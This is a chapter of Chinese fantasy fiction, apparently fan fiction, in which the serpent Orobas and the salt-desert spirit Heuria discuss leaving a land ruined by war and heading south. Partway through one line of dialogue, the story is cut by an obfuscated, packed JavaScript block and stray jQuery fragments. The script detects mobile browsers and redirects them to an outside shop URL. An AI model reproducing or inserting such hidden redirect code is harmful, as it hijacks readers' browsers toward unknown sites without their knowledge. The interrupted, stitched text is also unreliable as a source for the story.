“咦?何出此言?”


    奥罗巴斯昂起头颅,金色的竖瞳里满是不解。


    赫乌莉亚的目光掠过枯死的树影,望向远方弥漫的硝烟与死寂,最终落到天地交界处那抹不散的阴霾,声音轻得像一声叹息,“这里已经不再适合生物栖息了。”


    魔神战争的毒药,如同悄无声息蔓延的瘟疫,正一丝丝侵蚀着这片土地的根基。


    奥罗巴斯凝视着赫乌莉亚抚过皲裂树皮的纤细手指,告别或许是因为她的本体也是自然的一部分,那动作里没有太多悲伤,更像是一种与生俱来的、对世界初始模样的眷恋与。


    他巨大的蛇身不自觉地在地面上摩擦,坚硬的鳞片刮过干裂的土壤,发出持续的沙沙声响,泄露着内心的躁动。


    奥罗巴斯躁动不已,巨大的蛇身不安地在地面上摩擦,坚硬的鳞片刮过干裂的土壤,发出持续的沙沙声响。


    “因为他们口中的魔神战争?”


    “魔神战争只是一个称呼而已,不过倒也没错,用它来形容眼下的局面,倒也贴切。这一天,迟早要来,”


    赫乌莉亚顿了顿,继续说道:“龙王们逝去后,原初之人攫取了它们的权柄,将其粉碎,散落尘世四方。旧日的眷属随之衰微,人类,则如雨后的新草,迅速占据了每一片陆地与浅海的滩涂。”


    “我想,你会在这时醒来,或许也有这一部分的原因——”她的视线落回奥罗巴斯身上,带着一种洞察的平静,“或许,你已经察觉到了,我们这样的存在,与寻常开启灵智的野兽,是完全不同的。”


    奥罗巴斯将信将疑地沉下心神,仔细感知。


    寻常蛇类依赖热感与嗅觉,视觉大多平庸,这是它们生存的特化。奥罗巴斯骤然醒来,捕猎的本能依旧高效,无需多费心神;老河蚌的言语更让他方寸大乱,以至于忽略了自身某些根本性的改变。此刻经赫乌莉亚点破,奥罗巴斯才猛然惊觉,一切早已不同。


    他头一次能听见久旱干土祈求甘霖天降的声音,看到头顶云层中拼尽全力也没能凝聚落下的云雾,甚至能够看到,在远方的东南方向,一场铺天盖地的大雨已然淹没了无数洼地……无数曾经被本能忽略的细节,此刻如同决堤的洪流涌入奥罗巴斯的意识。


    世界不再是模糊混沌的背景板,它展现出清晰具体的质感,仿佛一幅庞大而精密的机关图景,每一处都遵循着内在的、可以理解的法则。


    “那我运气真好……”带着初窥新世界的恍惚,奥罗巴斯喃喃。


    “不是的,奥罗巴斯。”


    赫乌莉亚的声音柔和得像是一个真正的和蔼长辈,“你从一开始就与众不同,我已存在了上万个春秋,目睹过无数生命的枯荣。在我尚没有不能言说的悠长岁月里,便已有了意识。从你很小时起,你就显得特别,你不止满足于觅食与生存的本能。对于你而言,龙王们权能的碎片只是带给你一种能全新看待世界的力量和方式。”


    “你的行为早就一脚踏出蛇类本性对你的桎梏,”赫乌莉亚坦言,“我独自踌躇了许久,犹豫是否该离开此地。这里是我的本体所化,最令我感到安全舒适,我的本能也紧紧拖拽着我。我始终无法下定决心——”


    “但好在,你醒来了,我也终于下定决心,能见到故人,后续无论如何我应该也不会再后悔了。。”


    “我打算去往南边。”赫乌利亚顿了一顿,才问,“你愿意跟我一起吗?”


    “如果你愿意跟我一起,那我们结伴而行应该会更加安全;如果你愿意留在这里,我也会支持你。”赫乌莉亚格外坚定,“我已经在这片荒芜的地方待太久了,是时候离开了。”


    “可是你刚才说,你的本能、你的习性、甚至是你的内心都是不愿意离开的。”奥罗巴斯吐了吐信子,困惑地问,“那你为什么要违背自己的本能去到别的地方呢?西摩格曾经告诉我,南边很温暖,有丰茂的水草,有充足的事物,也有更多的猎物,但是赫乌利亚,你不需要食物,动物只会更加破坏荒漠;你也不需要水草,我听西摩格说,有盐的石头上是长不出花的,也还不需要温暖的天气,南边对你来说,真的是一个好的选择吗?”


    “我不知道。”赫乌莉亚坦然,再度重复了一遍,“我真的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908352|192416||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不知道。但是我已经受够了无边无际的荒芜,以前我没有选择,现在我愿意为我的选择付出代价。但是奥罗巴斯,你和我不一样。去南方只是你众多选择中最普通的一个,这只是一个邀请,你可以完全遵从自己的心意,去任何你想去的地方。”


    “赫乌莉亚和西摩格真不一样啊。”奥罗巴斯甩了甩尾巴,感叹道,“感觉懂得好多深奥的道理。”


    “只是漫长岁月里无人可诉,无人倾听,自己胡思乱想罢了。”赫乌莉亚轻轻摇头,随即问道,“那么,奥罗巴斯,你是怎么想的?”


    奥罗巴斯沉默一瞬。


    就在赫乌莉亚准备好接受奥罗巴斯直白的拒绝时,她听到一个出乎意料的回答:


    “赫乌莉亚。”


    奥罗巴斯歪了歪他巨大的头颅,那双金色的竖瞳里,没有任何对宏大叙事的忧虑或迷茫,只闪烁着一种纯粹至极的迫切求知欲:


    “你会储存粮食吗?”


    赫乌莉亚罕见地、极其短暂地卡了一下壳。


    向一片本体是盐碱矿物的石漠化身询问是否会储存粮食,恐怕也只有奥罗巴斯会问这种问题了、。


    “应该……算是会?”她迟疑地给出一个不确定的答案。如果仅仅是让物品长久保持干燥、不腐,隔绝虫蚁与时间侵蚀,这对于能够掌控盐之固化与保存权的她而言,的确易如反掌。


    “那认路呢?”奥罗巴斯紧接着追问,金色的眼瞳一眨不眨。


    “我不会迷路。”赫乌莉亚找回了熟悉的叙述节奏,语气恢复平稳,“我也是大地的一部分,地下潜流的方向、矿脉的微弱共鸣、地势绵延的起伏……这些信息都能从我足下所踏的土地中读取。”


    “那太好了!”奥罗巴斯陡然兴奋起来,巨大的尾巴甚至欢快地拍打了一下沙地,扬起一小股烟尘,仿佛一个难题迎刃而解。


    “现在唯一的困难就是——”


    他顿了顿,语气变得郑重其事,像是在宣布一个重大的又亟待解决的课题:


    “如何才能把森林也一起搬走呢?”


    赫乌莉亚:“啊?”